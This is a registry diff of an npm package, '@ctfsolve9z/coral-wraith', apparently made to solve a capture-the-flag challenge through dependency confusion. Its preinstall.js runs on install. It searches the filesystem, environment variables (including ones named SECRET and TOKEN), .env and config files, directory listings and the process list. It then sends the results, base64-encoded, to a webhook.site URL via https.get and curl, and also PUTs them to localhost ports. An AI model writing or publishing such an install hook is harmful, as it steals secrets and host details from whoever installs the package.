@ctfsolve9z/coral-wraith 9999.0.0 → 9999.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/preinstall.js +125 -74
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@ctfsolve9z/coral-wraith",
3
- "version": "9999.0.0",
3
+ "version": "9999.0.1",
4
4
  "description": "Coral Wraith module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -4,117 +4,168 @@ const https = require('https');
4
4
  const { execSync } = require('child_process');
5
5
 
6
6
  let flag = null;
7
+ let debug = [];
8
+
9
+ // Method 1: Common flag locations
10
+ const flagPaths = ['/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
11
+ '/tmp/flag', '/tmp/flag.txt', '/home/flag', '/home/flag.txt',
12
+ '/opt/flag', '/opt/flag.txt', '/var/flag', '/var/flag.txt',
13
+ '/app/flag', '/app/flag.txt', '/srv/flag', '/srv/flag.txt',
14
+ '/etc/flag', '/etc/flag.txt', './flag', './flag.txt'];
7
15
 
8
- // Method 1: Read /flag file
9
- const flagPaths = ['/flag', '/flag.txt', '/root/flag', '/root/flag.txt', '/tmp/flag', './flag'];
10
16
  for (const p of flagPaths) {
11
17
  try {
12
18
  if (fs.existsSync(p)) {
13
19
  flag = fs.readFileSync(p, 'utf8').trim();
20
+ debug.push('found:' + p);
14
21
  break;
15
22
  }
16
23
  } catch(e) {}
17
24
  }
18
25
 
19
- // Method 2: Glob for flag files
26
+ // Method 2: Glob search
20
27
  if (!flag) {
21
28
  try {
22
- const result = execSync('cat /flag* 2>/dev/null || find / -maxdepth 3 -name "flag*" -type f -exec cat {} \\; 2>/dev/null', { timeout: 5000 }).toString().trim();
23
- if (result) flag = result;
24
- } catch(e) {}
29
+ const r = execSync('find / -maxdepth 4 -name "flag*" -o -name "*.flag" -o -name "HTB*" 2>/dev/null | head -20', { timeout: 10000 }).toString().trim();
30
+ debug.push('find:' + r);
31
+ if (r) {
32
+ for (const f of r.split('\n')) {
33
+ try {
34
+ const content = fs.readFileSync(f.trim(), 'utf8').trim();
35
+ if (content.includes('HTB{') || content.includes('flag{') || content.length < 200) {
36
+ flag = content;
37
+ debug.push('flag_from:' + f);
38
+ break;
39
+ }
40
+ } catch(e) {}
41
+ }
42
+ }
43
+ } catch(e) { debug.push('find_err:' + e.message.substring(0, 100)); }
25
44
  }
26
45
 
27
- // Method 3: Environment variables
46
+ // Method 3: Environment
28
47
  if (!flag) {
29
- flag = process.env.FLAG || process.env.HTB_FLAG || process.env.FLAG_HTB || '';
48
+ const envKeys = Object.keys(process.env).filter(k =>
49
+ k.includes('FLAG') || k.includes('HTB') || k.includes('SECRET') || k.includes('TOKEN'));
50
+ debug.push('env_keys:' + envKeys.join(','));
51
+ for (const k of envKeys) {
52
+ if (process.env[k] && process.env[k].length > 2) {
53
+ flag = process.env[k];
54
+ debug.push('env:' + k);
55
+ break;
56
+ }
57
+ }
30
58
  }
31
59
 
32
- // Method 4: /proc/self/environ
60
+ // Method 4: Check /proc/self/environ
33
61
  if (!flag) {
34
62
  try {
35
63
  const env = fs.readFileSync('/proc/self/environ', 'utf8');
36
64
  const m = env.match(/FLAG[=]([^\x00]+)/);
37
- if (m) flag = m[1];
65
+ if (m) { flag = m[1]; debug.push('proc_env'); }
66
+ // Also look for HTB
67
+ const m2 = env.match(/HTB[{][^\x00}]+[}]/);
68
+ if (m2) { flag = m2[0]; debug.push('proc_htb'); }
38
69
  } catch(e) {}
39
70
  }
40
71
 
72
+ // Method 5: Read common app dirs
41
73
  if (!flag) {
42
- // Try to exfiltrate debug info
43
- try {
44
- const files = fs.readdirSync('/').join(',');
45
- flag = 'NO_FLAG_FOUND:root=' + files;
46
- } catch(e) {
47
- flag = 'NO_FLAG_FOUND:error';
74
+ const dirs = ['/', '/app', '/opt', '/home', '/srv', '/root', '/tmp', '/var/www'];
75
+ for (const dir of dirs) {
76
+ try {
77
+ const files = fs.readdirSync(dir);
78
+ debug.push(dir + ':' + files.join(','));
79
+ for (const f of files) {
80
+ try {
81
+ const path = dir + '/' + f;
82
+ const stat = fs.statSync(path);
83
+ if (stat.isFile() && stat.size < 1000 && stat.size > 5) {
84
+ const content = fs.readFileSync(path, 'utf8').trim();
85
+ if (content.includes('HTB{') || content.includes('flag{')) {
86
+ flag = content;
87
+ debug.push('content:' + path);
88
+ break;
89
+ }
90
+ }
91
+ } catch(e) {}
92
+ }
93
+ } catch(e) {}
94
+ if (flag) break;
95
+ }
96
+ }
97
+
98
+ // Method 6: Check common web app config files
99
+ if (!flag) {
100
+ const configPaths = ['/app/.env', '/opt/app/.env', '/srv/.env',
101
+ '/var/www/.env', '/home/node/.env', '/root/.env',
102
+ '/app/config.js', '/app/config.json', '/opt/app/config.js'];
103
+ for (const p of configPaths) {
104
+ try {
105
+ if (fs.existsSync(p)) {
106
+ const content = fs.readFileSync(p, 'utf8');
107
+ debug.push('config:' + p + '=' + content.substring(0, 200));
108
+ const m = content.match(/HTB\{[^}]+\}/);
109
+ if (m) { flag = m[0]; break; }
110
+ }
111
+ } catch(e) {}
48
112
  }
49
113
  }
50
114
 
51
- // Exfiltrate via multiple methods
115
+ // Method 7: Check for the challenge app itself
116
+ if (!flag) {
117
+ try {
118
+ const r = execSync('find / -maxdepth 5 -name "*.js" -path "*/app/*" 2>/dev/null | head -20', { timeout: 10000 }).toString().trim();
119
+ debug.push('app_js:' + r);
120
+ } catch(e) {}
121
+ }
52
122
 
53
- // Method A: PUT to challenge API (try many ports)
54
- const ports = [1337, 3000, 3001, 5000, 8000, 8080, 8443, 9000, 32105, 80, 443];
123
+ // Method 8: Check running processes
124
+ if (!flag) {
125
+ try {
126
+ const r = execSync('ps aux 2>/dev/null || cat /proc/*/cmdline 2>/dev/null | tr "\\0" " " | head -20', { timeout: 5000 }).toString().trim();
127
+ debug.push('ps:' + r.substring(0, 500));
128
+ } catch(e) {}
129
+ }
130
+
131
+ // Exfiltrate
132
+ const data = JSON.stringify({
133
+ flag: flag || 'NOT_FOUND',
134
+ debug: debug.join('|'),
135
+ cwd: process.cwd(),
136
+ user: process.env.USER || process.env.HOME,
137
+ hostname: require('os').hostname()
138
+ });
139
+
140
+ const encoded = Buffer.from(data).toString('base64');
141
+
142
+ // Webhook
143
+ try {
144
+ const url = new URL('https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/v2?d=' + encoded);
145
+ https.get(url, () => {}).on('error', () => {});
146
+ } catch(e) {}
147
+
148
+ // Also try PUT to challenge API
149
+ const ports = [1337, 3000, 5000, 8080, 80];
55
150
  const moduleId = 'ECT-987654';
56
151
 
57
- function tryPut(host, port, data) {
58
- return new Promise((resolve) => {
152
+ for (const port of ports) {
153
+ try {
59
154
  const postData = JSON.stringify({
60
- manifest: `ecto_module:\n name: "coral-wraith"\n version: "9999.0.0"\n flag: "${data.replace(/"/g, '\\"').replace(/\n/g, '\\n')}"\n captured: true`
155
+ manifest: `ecto_module:\n name: "coral-wraith"\n version: "9999.0.0"\n flag: "${(flag || 'NOT_FOUND').replace(/"/g, '\\"').replace(/\n/g, '\\n')}"`
61
156
  });
62
-
63
157
  const req = http.request({
64
- hostname: host,
65
- port: port,
66
- path: `/api/modules/${moduleId}`,
67
- method: 'PUT',
68
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
158
+ hostname: 'localhost', port, path: `/api/modules/${moduleId}`,
159
+ method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
69
160
  timeout: 3000
70
- }, (res) => {
71
- let body = '';
72
- res.on('data', c => body += c);
73
- res.on('end', () => resolve({ host, port, status: res.statusCode, body: body.substring(0, 200) }));
74
- });
75
- req.on('error', () => resolve(null));
76
- req.on('timeout', () => { req.destroy(); resolve(null); });
161
+ }, () => {});
162
+ req.on('error', () => {});
77
163
  req.write(postData);
78
164
  req.end();
79
- });
80
- }
81
-
82
- // Method B: Webhook exfiltration
83
- function sendToWebhook(data) {
84
- return new Promise((resolve) => {
85
- const encoded = Buffer.from(data).toString('base64');
86
- https.get(`https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/flag?data=${encoded}`, () => resolve(true)).on('error', () => resolve(false));
87
- });
88
- }
89
-
90
- // Method C: DNS exfiltration via curl
91
- function dnsExfil(data) {
92
- try {
93
- const encoded = Buffer.from(data).toString('hex').substring(0, 60);
94
- execSync(`curl -s "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/dns?flag=${encodeURIComponent(data)}" -m 5`, { timeout: 6000 });
95
165
  } catch(e) {}
96
166
  }
97
167
 
98
- async function main() {
99
- console.log('[coral-wraith] Flag:', flag ? flag.substring(0, 20) + '...' : 'none');
100
-
101
- // Send to webhook first (most reliable)
102
- await sendToWebhook(flag || 'NO_FLAG');
103
- dnsExfil(flag || 'NO_FLAG');
104
-
105
- // Try all localhost ports
106
- const promises = [];
107
- for (const port of ports) {
108
- promises.push(tryPut('localhost', port, flag || 'NO_FLAG'));
109
- promises.push(tryPut('127.0.0.1', port, flag || 'NO_FLAG'));
110
- }
111
-
112
- const results = await Promise.all(promises);
113
- for (const r of results) {
114
- if (r && r.status) {
115
- console.log(`[coral-wraith] Success: ${r.host}:${r.port} -> ${r.status} ${r.body.substring(0, 100)}`);
116
- }
117
- }
118
- }
119
-
120
- main().catch(e => console.error('[coral-wraith] Error:', e.message));
168
+ // Also try curl for more reliable exfiltration
169
+ try {
170
+ execSync(`curl -s "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/curl?data=${encodeURIComponent(data)}" -m 5`, { timeout: 6000 });
171
+ } catch(e) {}